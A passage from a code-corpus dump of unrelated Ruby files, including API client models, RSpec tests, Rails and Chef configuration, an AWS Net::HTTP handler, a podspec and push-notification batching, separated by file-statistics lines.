klass = OryHydraClient.const_get(type)
klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 30.047904 | 267 | 0.610602 |
28b44402b4ce352eea89a5da59f90f37f618adfa | 492 | # frozen_string_literal: true
module Mentor
class Student
include ActiveModel::Model
APPLICATION_KEYS = [
'_application_coding_level',
'_application_name',
'_application_code_samples',
'_application_learning_history',
'_application_language_learning_period',
'_application_skills'
]
attr_accessor :coding_level, :code_samples,
:learning_history, :language_learning_period,
:skills, :name
end
end
| 22.363636 | 63 | 0.676829 |
1a7663a92c9cefea5df100ce46eeb808eb24c347 | 1,967 | #-- encoding: UTF-8
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2021 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
module Bim::Bcf::API::V2_1
class Topics::AuthorizationRepresenter < BaseRepresenter
property :topic_actions,
getter: ->(decorator:, **) {
if decorator.manage_bcf_allowed?
%w[update updateRelatedTopics updateFiles createViewpoint]
else
[]
end
}
property :topic_status,
getter: ->(decorator:, **) {
if decorator.manage_bcf_allowed?
assignable_statuses(model.new_record?).pluck(:name)
else
[]
end
}
def manage_bcf_allowed?
represented.user.allowed_to?(:manage_bcf, represented.model.project)
end
end
end
| 35.125 | 91 | 0.675648 |
620454c05841038ddd01d1d284bc5b4ce4abcded | 2,272 | require 'spec_helper'
RSpec.describe MineCraft::Field do
let(:string) { File.read('spec/fixtures/mines-small.txt') }
subject(:field) { described_class.new(string) }
let(:total) { field.total }
context '#initialize' do
it 'should load into the array' do
expect(field.width).to eq 3
expect(field.height).to eq 3
end
end
context '#value_at' do
it 'should respond to coordinates' do
expect(field.value_at(x: -1, y: 0)).to be_nil
expect(field.value_at(x: 0, y: 0)).to eq(1)
expect(field.value_at(x: 1, y: 0)).to eq(0)
expect(field.value_at(x: 2, y: 0)).to eq(1)
expect(field.value_at(x: 0, y: 2)).to eq(0)
expect(field.value_at(x: 1, y: 1)).to eq(0)
expect(field.value_at(x: 4, y: 1)).to be_nil
end
end
context '#total' do
its(:total) { should eq 2 }
end
context 'value=' do
let(:coords) { [1, 1] }
it 'should properly set values' do
expect(field.value(*coords)).to eq 0
field.value!(*coords, :hello)
expect(field.value(*coords)).to eq :hello
end
end
context '#explode' do
context 'without a mine reaction' do
let(:mines) { field.explode(0, 2) }
let(:exploded) { <<-eof
X.1
...
...
eof
}
before { expect(mines).to eq(0) }
its(:damage) { should eq 0 }
its(:total) { should eq 2 }
its(:to_s) { should eq exploded }
end
context 'with a mine with chain reaction' do
let(:exploded) { <<-eof
X
...
eof
}
before do
field.value!(1, 0, 1)
expect(field.mine?(0, 0)).to be(true)
expect(field.mine?(1, 0)).to be(true)
expect(field.mine?(2, 0)).to be(true)
end
let(:mines) { field.explode(1, 0) }
it 'should find and explode 3 mines total' do
expect(mines).to eq(3)
expect(field.to_s).to eq(exploded)
expect(field.damage).to eq(6)
end
end
context 'without a chain reaction' do
let(:mines) { field.explode(0, 0) }
before { expect(mines).to eq 1 }
end
end
context '#biggest' do
before { field.value!(1, 0, 1) }
subject(:result) { field.biggest }
its(:x) { should eq 0 }
its(:y) { should eq 0 }
its(:mines) { should eq 3 }
end
end
| 23.915789 | 61 | 0.572623 |
ffcffcf4c114c26471464d7e515bff43b30182c9 | 3,256 | =begin
Copyright 2010-2014 Tasos Laskos <[email protected]>
This file is part of the Arachni Framework project and is subject to
redistribution and commercial restrictions. Please see the Arachni Framework
web site for more information on licensing and terms of use.
=end
require 'fileutils'
module Arachni::OptionGroups
# Holds paths to the directories of various system components.
#
# @author Tasos "Zapotek" Laskos <[email protected]>
class Paths < Arachni::OptionGroup
attr_accessor :root
attr_accessor :arachni
attr_accessor :gfx
attr_accessor :components
attr_accessor :logs
attr_accessor :executables
attr_accessor :checks
attr_accessor :reporters
attr_accessor :plugins
attr_accessor :services
attr_accessor :path_extractors
attr_accessor :fingerprinters
attr_accessor :lib
attr_accessor :support
attr_accessor :mixins
attr_accessor :snapshots
def initialize
@root = root_path
@gfx = @root + 'gfx/'
@components = @root + 'components/'
if self.class.config['framework']['snapshots']
@snapshots = self.class.config['framework']['snapshots']
else
@snapshots = @root + 'snapshots/'
end
if ENV['ARACHNI_FRAMEWORK_LOGDIR']
@logs = "#{ENV['ARACHNI_FRAMEWORK_LOGDIR']}/"
elsif self.class.config['framework']['logs']
@logs = self.class.config['framework']['logs']
else
@logs = "#{@root}logs/"
end
@checks = @components + 'checks/'
@reporters = @components + 'reporters/'
@plugins = @components + 'plugins/'
@services = @components + 'services/'
@path_extractors = @components + 'path_extractors/'
@fingerprinters = @components + 'fingerprinters/'
@lib = @root + 'lib/arachni/'
@executables = @lib + 'processes/executables/'
@support = @lib + 'support/'
@mixins = @support + 'mixins/'
@arachni = @lib[0...-1]
end
def root_path
self.class.root_path
end
# @return [String] Root path of the framework.
def self.root_path
File.expand_path( File.dirname( __FILE__ ) + '/../../..' ) + '/'
end
def config
self.class.config
end
def self.paths_config_file
"#{root_path}config/write_paths.yml"
end
def self.clear_config_cache
@config = nil
end
def self.config
return @config if @config
if !File.exist?( paths_config_file )
@config = {}
else
@config = YAML.load( IO.read( paths_config_file ) )
end
@config['framework'] ||= {}
@config['cli'] ||= {}
@config.dup.each do |category, config|
config.dup.each do |subcat, dir|
if dir.to_s.empty?
@config[category].delete subcat
next
end
dir.gsub!( '~', ENV['HOME'] )
dir << '/' if !dir.end_with?( '/' )
FileUtils.mkdir_p dir
end
end
@config
end
end
end
| 26.909091 | 80 | 0.575553 |
e83d35817943b058ee3e2950adc376802cf3e4da | 1,123 | #
# Cookbook Name:: passenger-enterprise-install
# Based on passenger_apache2, adapted for nginx too.
# Recipe:: default
#
# Author:: Bryan Crossland (<[email protected]>)
# Author:: Joshua Timberman (<[email protected]>)
# Author:: Joshua Sierles (<[email protected]>)
# Author:: Michael Hale (<[email protected]>)
#
# Copyright:: 2015, Bryan Crossland
# Copyright:: 2009, Opscode, Inc
# Copyright:: 2009, 37signals
# Coprighty:: 2009, Michael Hale
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
include_recipe 'ruby-enterprise-install'
ree_gem 'passenger' do
version node[:passenger_enterprise][:version]
end
| 34.030303 | 74 | 0.752449 |
184e0deb92fb7e7434b16cec0b57d3fc6ab23b0f | 1,116 | require File.expand_path('../boot', __FILE__)
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module UglyRails
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
end
end
| 41.333333 | 99 | 0.733871 |
abc233d4d25ce473c0ee77fe3281d98aa4de209d | 7,072 | # frozen_string_literal: true
require 'net/https'
require 'openssl'
module Seahorse
module Client
# @api private
module NetHttp
# The default HTTP handler for Seahorse::Client. This is based on
# the Ruby's `Net::HTTP`.
class Handler < Client::Handler
# @api private
class TruncatedBodyError < IOError
def initialize(bytes_expected, bytes_received)
msg = "http response body truncated, expected #{bytes_expected} "\
"bytes, received #{bytes_received} bytes"
super(msg)
end
end
NETWORK_ERRORS = [
SocketError, EOFError, IOError, Timeout::Error,
Errno::ECONNABORTED, Errno::ECONNRESET, Errno::EPIPE,
Errno::EINVAL, Errno::ETIMEDOUT, OpenSSL::SSL::SSLError,
Errno::EHOSTUNREACH, Errno::ECONNREFUSED,
Net::HTTPFatalError # for proxy connection failures
]
# does not exist in Ruby 1.9.3
if OpenSSL::SSL.const_defined?(:SSLErrorWaitReadable)
NETWORK_ERRORS << OpenSSL::SSL::SSLErrorWaitReadable
end
# @api private
DNS_ERROR_MESSAGES = [
'getaddrinfo: nodename nor servname provided, or not known', # MacOS
'getaddrinfo: Name or service not known' # GNU
]
# Raised when a {Handler} cannot construct a `Net::HTTP::Request`
# from the given http verb.
class InvalidHttpVerbError < StandardError; end
# @param [RequestContext] context
# @return [Response]
def call(context)
transmit(context.config, context.http_request, context.http_response)
Response.new(context: context)
end
# @param [Configuration] config
# @return [ConnectionPool]
def pool_for(config)
ConnectionPool.for(pool_options(config))
end
private
def error_message(req, error)
if error.is_a?(SocketError) && DNS_ERROR_MESSAGES.include?(error.message)
host = req.endpoint.host
"unable to connect to `#{host}`; SocketError: #{error.message}"
else
error.message
end
end
# @param [Configuration] config
# @param [Http::Request] req
# @param [Http::Response] resp
# @return [void]
def transmit(config, req, resp)
session(config, req) do |http|
# Monkey patch default content-type set by Net::HTTP
Thread.current[:net_http_skip_default_content_type] = true
http.request(build_net_request(req)) do |net_resp|
status_code = net_resp.code.to_i
headers = extract_headers(net_resp)
bytes_received = 0
resp.signal_headers(status_code, headers)
net_resp.read_body do |chunk|
bytes_received += chunk.bytesize
resp.signal_data(chunk)
end
complete_response(req, resp, bytes_received)
end
end
rescue *NETWORK_ERRORS => error
# these are retryable
error = NetworkingError.new(error, error_message(req, error))
resp.signal_error(error)
rescue => error
# not retryable
resp.signal_error(error)
ensure
# ensure we turn off monkey patch in case of error
Thread.current[:net_http_skip_default_content_type] = nil
end
def complete_response(req, resp, bytes_received)
if should_verify_bytes?(req, resp)
verify_bytes_received(resp, bytes_received)
else
resp.signal_done
end
end
def should_verify_bytes?(req, resp)
req.http_method != 'HEAD' && resp.headers['content-length']
end
def verify_bytes_received(resp, bytes_received)
bytes_expected = resp.headers['content-length'].to_i
if bytes_expected == bytes_received
resp.signal_done
else
error = TruncatedBodyError.new(bytes_expected, bytes_received)
resp.signal_error(NetworkingError.new(error, error.message))
end
end
def session(config, req, &block)
pool_for(config).session_for(req.endpoint) do |http|
# Ruby 2.5, can disable retries for idempotent operations
# avoid patching for Ruby 2.5 for disable retry
http.max_retries = 0 if http.respond_to?(:max_retries)
http.read_timeout = config.http_read_timeout
yield(http)
end
end
# Extracts the {ConnectionPool} configuration options.
# @param [Configuration] config
# @return [Hash]
def pool_options(config)
ConnectionPool::OPTIONS.keys.inject({}) do |opts,opt|
opts[opt] = config.send(opt)
opts
end
end
# Constructs and returns a Net::HTTP::Request object from
# a {Http::Request}.
# @param [Http::Request] request
# @return [Net::HTTP::Request]
def build_net_request(request)
request_class = net_http_request_class(request)
req = request_class.new(request.endpoint.request_uri, headers(request))
# Net::HTTP adds a default Content-Type when a body is present.
# Set the body stream when it has an unknown size or when it is > 0.
if !request.body.respond_to?(:size) ||
(request.body.respond_to?(:size) && request.body.size > 0)
req.body_stream = request.body
end
req
end
# @param [Http::Request] request
# @raise [InvalidHttpVerbError]
# @return Returns a base `Net::HTTP::Request` class, e.g.,
# `Net::HTTP::Get`, `Net::HTTP::Post`, etc.
def net_http_request_class(request)
Net::HTTP.const_get(request.http_method.capitalize)
rescue NameError
msg = "`#{request.http_method}` is not a valid http verb"
raise InvalidHttpVerbError, msg
end
# @param [Http::Request] request
# @return [Hash] Returns a vanilla hash of headers to send with the
# HTTP request.
def headers(request)
# Net::HTTP adds a default header for accept-encoding (2.0.0+).
# Setting a default empty value defeats this.
#
# Removing this is necessary for most services to not break request
# signatures as well as dynamodb crc32 checks (these fail if the
# response is gzipped).
headers = { 'accept-encoding' => '' }
request.headers.each_pair do |key, value|
headers[key] = value
end
headers
end
# @param [Net::HTTP::Response] response
# @return [Hash<String, String>]
def extract_headers(response)
response.to_hash.inject({}) do |headers, (k, v)|
headers[k] = v.first
headers
end
end
end
end
end
end
| 34.666667 | 83 | 0.590215 |
e961ce3b2ebd2da8f30431b65e79670cbc0e5f31 | 1,529 | #-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2021 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
class RepositorySettingsPage
include Rails.application.routes.url_helpers
include Capybara::DSL
def initialize(project)
@project = project
end
def repository_settings_path
settings_repository_project_path(@project.id)
end
def visit_repository_settings
visit repository_settings_path
end
end
| 33.977778 | 91 | 0.770438 |
28c9aa01393e93f7f03868a81e1bd5d4ef8555a4 | 2,221 | Pod::Spec.new do |s|
s.name = "FoundationExtension"
s.version = "0.12.3"
s.summary = "Foundation/UIKit extension kit. It is category based and looks familiar to Foundation/UIKit. It includes many common snippets as shortcut."
s.description = <<-DESC
This library includes small Foundation/Cocoa/UIKit extensions. This library does not includes high-level data structure, algorithm or frameworks, but collection of code snippets.
* Many common snippets in a method call.
* Looks like native foundation methods - It follows Apple Coding Guideline and Foundation naming convention.
See document on [Github] (http://youknowone.github.com/FoundationExtension)
Try FoundationExtension for Foundation extensions.
For iOS, UIKitExtension is available too.
DESC
s.homepage = "https://github.com/youknowone/FoundationExtension"
s.license = "2-clause BSD"
s.author = { "Jeong YunWon" => "[email protected]" }
s.source = { :git => "https://github.com/youknowone/FoundationExtension.git", :tag => "0.12.3" }
s.dependency "cdebug", "~> 0.1"
s.subspec "FoundationExtension" do |ss|
ss.source_files = "FoundationExtension"
ss.public_header_files = "FoundationExtension/*.h"
ss.xcconfig = { "GCC_PREFIX_HEADER" => "FoundationExtension/FoundationExtension-Prefix.pch" }
end
s.subspec "CocoaExtension" do |ss|
ss.platform = :osx
ss.source_files = "CocoaExtension"
ss.public_header_files = "CocoaExtension/*.h"
ss.header_dir = "CocoaExtension"
ss.framework = "Cocoa"
ss.xcconfig = { "GCC_PREFIX_HEADER" => "CocoaExtension/CocoaExtension-Prefix.pch" }
ss.dependency "FoundationExtension/FoundationExtension"
end
s.subspec "UIKitExtension" do |ss|
ss.platform = :ios
ss.source_files = "UIKitExtension"
ss.public_header_files = "UIKitExtension/*.h"
ss.header_dir = "UIKitExtension"
ss.xcconfig = { "GCC_PREFIX_HEADER" => "UIKitExtension/UIKitExtension-Prefix.pch" }
ss.dependency "FoundationExtension/FoundationExtension"
end
s.requires_arc = false
end
| 48.282609 | 198 | 0.676272 |
4ac82184f1e6d017039f1e79cddfbf6e2487e08e | 3,318 | module Rapns
module Daemon
class Batch
include Reflectable
attr_reader :num_processed, :notifications,
:delivered, :failed, :retryable
def initialize(notifications)
@notifications = notifications
@num_processed = 0
@delivered = []
@failed = {}
@retryable = {}
@mutex = Mutex.new
end
def num_notifications
@notifications.size
end
def mark_retryable(notification, deliver_after)
if Rapns.config.batch_storage_updates
retryable[deliver_after] ||= []
retryable[deliver_after] << notification
Rapns::Daemon.store.mark_retryable(notification, deliver_after, :persist => false)
else
Rapns::Daemon.store.mark_retryable(notification, deliver_after)
reflect(:notification_will_retry, notification)
end
end
def mark_delivered(notification)
if Rapns.config.batch_storage_updates
delivered << notification
Rapns::Daemon.store.mark_delivered(notification, Time.now, :persist => false)
else
Rapns::Daemon.store.mark_delivered(notification, Time.now)
reflect(:notification_delivered, notification)
end
end
def mark_failed(notification, code, description)
if Rapns.config.batch_storage_updates
key = [code, description]
failed[key] ||= []
failed[key] << notification
Rapns::Daemon.store.mark_failed(notification, code, description, Time.now, :persist => false)
else
Rapns::Daemon.store.mark_failed(notification, code, description, Time.now)
reflect(:notification_failed, notification)
end
end
def notification_dispatched
@mutex.synchronize do
@num_processed += 1
complete if @num_processed >= @notifications.size
end
end
def complete?
@complete == true
end
def describe
notifications.map(&:id).join(', ')
end
private
def complete
[:complete_delivered, :complete_failed, :complete_retried].each do |method|
begin
send(method)
rescue StandardError => e
Rapns.logger.error(e)
reflect(:error, e)
end
end
notifications.clear
@complete = true
end
def complete_delivered
Rapns::Daemon.store.mark_batch_delivered(delivered)
delivered.each do |notification|
reflect(:notification_delivered, notification)
end
delivered.clear
end
def complete_failed
failed.each do |(code, description), notifications|
Rapns::Daemon.store.mark_batch_failed(notifications, code, description)
notifications.each do |notification|
reflect(:notification_failed, notification)
end
end
failed.clear
end
def complete_retried
retryable.each do |deliver_after, notifications|
Rapns::Daemon.store.mark_batch_retryable(notifications, deliver_after)
notifications.each do |notification|
reflect(:notification_will_retry, notification)
end
end
retryable.clear
end
end
end
end
| 28.603448 | 103 | 0.618445 |
f8fbe321f3ffa8c8956ecdd0ed14332b9dcb7ba8 | 1,140 | require File.dirname(__FILE__) + '/base'
require 'active_support/core_ext/kernel/debugger'
describe YamlDb::Load do
before do
SerializationHelper::Utils.stub!(:quote_table).with('mytable').and_return('mytable')
silence_warnings { ActiveRecord::Base = mock('ActiveRecord::Base', :null_object => true) }
ActiveRecord::Base.stub(:connection).and_return(stub('connection').as_null_object)
ActiveRecord::Base.connection.stub!(:transaction).and_yield
end
before(:each) do
@io = StringIO.new
end
it "should call load structure for each document in the file" do
YAML.should_receive(:load_documents).with(@io).and_yield({ 'mytable' => {
'columns' => [ 'a', 'b' ],
'records' => [[1, 2], [3, 4]]
} } )
YamlDb::Load.should_receive(:load_table).with('mytable', { 'columns' => [ 'a', 'b' ], 'records' => [[1, 2], [3, 4]] },true)
YamlDb::Load.load(@io)
end
it "should not call load structure when the document in the file contains no records" do
YAML.should_receive(:load_documents).with(@io).and_yield({ 'mytable' => nil })
YamlDb::Load.should_not_receive(:load_table)
YamlDb::Load.load(@io)
end
end
| 33.529412 | 125 | 0.688596 |
ed4bc915732d6d3295c10ad471e3e75ed2e35326 | 2,495 | # frozen_string_literal: true
module Development
module Statuses
module Status
class Show
def self.call(table_name, id, remote: false) # rubocop:disable Metrics/PerceivedComplexity, Metrics/CyclomaticComplexity
ui_rule = UiRules::Compiler.new(:status, :show, table_name: table_name, id: id)
rules = ui_rule.compile
no_other_details = rules[:other_details] ? rules[:other_details].empty? : false
layout = Crossbeams::Layout::Page.build(rules) do |page|
page.form_object ui_rule.form_object
page.form do |form|
form.view_only!
form.caption "Status for #{table_name}"
form.no_submit! unless remote
form.row do |row|
row.column do |col|
col.add_table(rules[:rows], rules[:cols], pivot: true, header_captions: rules[:header_captions])
unless ui_rule.form_object[:diff_id].nil?
col.add_control(control_type: :link,
text: 'View changes',
url: "/development/logging/logged_actions/#{ui_rule.form_object[:diff_id]}/diff",
behaviour: :popup,
style: :button)
end
cnt = %i[route_url request_ip table_name row_data_id].map { |k| "<tr class='hover-row'><th>#{k}</th><td>#{ui_rule.form_object[k]}</td></tr>" }.join
col.add_text "<table class='thinbordertable'><tbody>#{cnt}</tbody></table>", toggle_button: true, toggle_caption: 'Details'
col.add_text '<h3>Status history</h3>'
col.add_table(rules[:details], rules[:headers], header_captions: rules[:header_captions])
col.add_text '<h3>Other status changes</h3>' unless no_other_details
if remote
col.add_table((rules[:other_details] || []).map do |a|
a[:link] = a[:link].sub('<a', '<a data-replace-dialog="y" ')
a
end, rules[:other_headers], header_captions: rules[:other_header_captions])
else
col.add_table(rules[:other_details], rules[:other_headers], header_captions: rules[:other_header_captions])
end
end
end
end
end
layout
end
end
end
end
end
| 47.980769 | 165 | 0.544289 |
1a96d63f9f8de61172d411b1218fda09341f24b0 | 174 | # frozen_string_literal: true
require_dependency "renalware/research"
module Renalware
module Research
class StudyEventPolicy < Events::EventPolicy
end
end
end
| 15.818182 | 48 | 0.781609 |
ed74ca6ba979a80cac9c763647ec629316148ae7 | 1,693 | #-- encoding: UTF-8
#-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2018 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
# log delayed job's output to whatever rails logs to
Delayed::Worker.logger = Rails.logger
# By default bypass worker queue and execute asynchronous tasks at once
Delayed::Worker.delay_jobs = true
# Set default priority (lower = higher priority)
# Example ordering, see ApplicationJob.priority_number
Delayed::Worker.default_priority = ::ApplicationJob.priority_number(:default)
# By default, retry each job 3 times (instead of 25!)
Delayed::Worker.max_attempts = 3
| 40.309524 | 91 | 0.767868 |
91c1e91e05bea53aaebca137c2798f6e5076c5b3 | 151 | class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
def hello
render html: "hello, world!"
end
end
| 16.777778 | 52 | 0.748344 |
ac24ccf2578946b3a0bbd9db80b164ba7c890115 | 5,084 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV["RAILS_SERVE_STATIC_FILES"].present?
# Compress CSS using a preprocessor.
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Mount Action Cable outside main process or domain.
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Use the lowest log level to ensure availability of diagnostic information
# when problems arise.
config.log_level = ENV["log_level"] || :info
# Prepend all log lines with the following tags.
config.log_tags = [:request_id]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment).
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "staff_device_dns_dhcp_admin_production"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require 'syslog/logger'
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new($stdout)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
config.s3_aws_config = {}
config.ecs_aws_config = {}
# Inserts middleware to perform automatic connection switching.
# The `database_selector` hash is used to pass options to the DatabaseSelector
# middleware. The `delay` is used to determine how long to wait after a write
# to send a subsequent read to the primary.
#
# The `database_resolver` class is used by the middleware to determine which
# database is appropriate to use based on the time delay.
#
# The `database_resolver_context` class is used by the middleware to set
# timestamps for the last write to the primary. The resolver uses the context
# class timestamps to determine how long to wait before reading from the
# replica.
#
# By default Rails will store a last write timestamp in the session. The
# DatabaseSelector middleware is designed as such you can define your own
# strategy for connection switching and pass that into the middleware through
# these configuration options.
# config.active_record.database_selector = { delay: 2.seconds }
# config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
# config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
end
| 44.208696 | 114 | 0.764555 |
bb9ed832aec118abdbb91729791615f034f42500 | 405 | class UserMailer < ApplicationMailer
# Subject can be set in your I18n file at config/locales/en.yml
# with the following lookup:
#
# en.user_mailer.account_activation.subject
#
def account_activation(user)
@user = user
mail to: user.email, subject: "Account activation"
end
def password_reset(user)
@user = user
mail to:user.email, subject: "Password reset"
end
end
| 22.5 | 65 | 0.706173 |
e81947c95da7da0e0591299dd90aed80df7b0eb3 | 3,303 | require_relative 'spec_helper'
describe Watirmark::Assertions do
include Watirmark::Assertions
it 'can compare simple elements' do
element = stub(:exists? => true, :value => 'giant vampire squid', :radio_map => nil)
assert_equal element, 'giant vampire squid'
end
it 'compare integer' do
element = stub(:exists? => true, :value => '100')
assert_equal element, 100
end
it 'compare string integer' do
element = stub(:exists? => true, :value => '100')
assert_equal element, '100'
end
it 'expecting value with with percent' do
element = stub(:exists? => true, :value => '100%')
assert_equal element, '100%'
end
it 'expecting value with with a currency symbol' do
element = stub(:exists? => true, :value => '$123.45')
assert_equal element, '$123.45'
end
it 'expecting integer value should strip the dollar sign' do
element = stub(:exists? => true, :value => '$25')
assert_equal element, '25'
assert_equal element, '$25'
lambda { assert_equal element, '25%' }.should raise_error
end
it 'symbol in wrong place needs to match exactly or fail' do
element = stub(:exists? => true, :value => '25$')
lambda { assert_equal element, '$25' }.should raise_error
assert_equal element, '25$'
element = stub(:exists? => true, :value => '%50')
lambda { assert_equal element, '50%' }.should raise_error
lambda { assert_equal element, '50' }.should raise_error
assert_equal element, '%50'
end
it 'should detect two different numbers are different' do
element = stub(:exists? => true, :value => '50')
lambda { assert_equal element, '51' }.should raise_error
lambda { assert_equal element, '50.1' }.should raise_error
lambda { assert_equal element, 49.9 }.should raise_error
lambda { assert_equal element, 49 }.should raise_error
assert_equal element, 50.0
end
it 'should let a number match a number with a $ before or % after' do
element = stub(:exists? => true, :value => '$26', :name => 'unittest')
assert_equal element, 26
element = stub(:exists? => true, :value => '27%', :name => 'unittest')
assert_equal element, 27.00
end
it 'should let a number in a string match a number with currency or percent' do
element = stub(:exists? => true, :value => '$36', :name => 'unittest')
assert_equal element, '36'
element = stub(:exists? => true, :value => '37%', :name => 'unittest')
assert_equal element, '37.00'
end
end
describe "normalize_values" do
include Watirmark::Assertions
specify 'normalize dates' do
normalize_value("1/1/2012").should == Date.parse('1/1/2012')
normalize_value("1/1/09").should == Date.parse('1/1/09')
